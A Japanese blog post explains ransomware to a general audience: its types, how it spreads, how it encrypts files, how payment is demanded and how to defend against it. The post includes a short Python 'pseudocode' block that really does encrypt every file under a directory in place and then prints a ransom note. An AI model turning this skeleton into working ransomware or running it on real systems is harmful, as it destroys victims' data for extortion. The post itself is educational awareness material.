今回は最近話題の
ランサムウェアについてです。 

解説動画はこちら



今回は最近セキュリティ関連で話題になっている
ランサムウェアについてです

ランサムウェアとは

マルウェア(悪意のあるソフトウェア)の一種で
感染したコンピュータシステムやデータを暗号化し
ユーザーに対して身代金(ランサム)を要求する
攻撃手法を用いるソフトウェアのこと

主な種類

 画面ロック型
 暗号化型(Encryption Ransomware)
 リーク型

感染経路

 メールの添付ファイル
 悪意のあるWEBサイト
 ソフトウェアの脆弱性



暗号化プロセス

 1.ファイルのスキャン
  一度感染すると、ランサムウェアはシステム内のファイルをスキャンし
  特定の拡張子を持つファイルを探す。
  文書、画像、音楽、データベースファイルなどが対象
 2.暗号化アルゴリズム
  強力な暗号化アルゴリズム(AES、RSAなど)を使用してファイルを暗号化
  これにより、正しい復号化キーがないとファイルを元に戻すことができない
 3.復号化キーの保存
  復号化に必要な鍵は攻撃者のサーバーに保存される

身代金要求

 1.要求メッセージ
 2.支払い方法
  仮想通貨(ビットコイン、モネロなど)
  指定されたアドレスに仮想通貨を送金するよう指示


主な開発言語

 C系(C, C++, C#)
 Python
 Go


ランサムウェアそのもののコードを載せることは出来ませんが
こんな感じのコードが動いていると思われます。

# 疑似コード
import os, random, string
from cryptography.fernet import Fernet

# 復号化キーの生成
def generate_key():
    return Fernet.generate_key()

# ファイルの暗号化
def encrypt_file(file_path, key):
    with open(file_path, 'rb') as file:
        data = file.read()
    fernet = Fernet(key)
    encrypted = fernet.encrypt(data)
    with open(file_path, 'wb') as file:
        file.write(encrypted)

# 特定のディレクトリ内のすべてのファイルを暗号化
def encrypt_files_in_directory(directory, key):
    for root, dirs, files in os.walk(directory):
        for file in files:
            file_path = os.path.join(root, file)
            encrypt_file(file_path, key)

# 身代金要求メッセージの表示
def display_ransom_note():
    ransom_message = """
 YouのPCのファイルを人質に取ったぜ
 暗号化を解いて欲しかったら連絡してね
    Contact us : メアド
    """
    print(ransom_message)

# 復号化キーのサーバー保存(擬似コード)
def save_key_for_later_retrieval(key):
    pass

# メイン関数
def main():
    target_directory = '/path/to/target/directory'
    key = generate_key()
    encrypt_files_in_directory(target_directory, key)
    display_ransom_note()
    save_key_for_later_retrieval(key)



主な対策方法

 1.定期的なデータのバックアップ
  重要なものはオフラインで行う
 2.セキュリティソフトの導入
 3.ソフトウェアの更新
 4.フィッシング対策
 5.社員教育

まとめ

日頃の対策への徹底と
社員教育が非常に大事だなと感じています。

特に日本は社員のリテラシーも低く
サイバーテロに狙われやすい国です。

被害に遭わないためにも
社員教育を再度徹底して行い
考えを改める時期に来ていると思いました。

被害に遭われる方が
少なくなりますように。

それでは。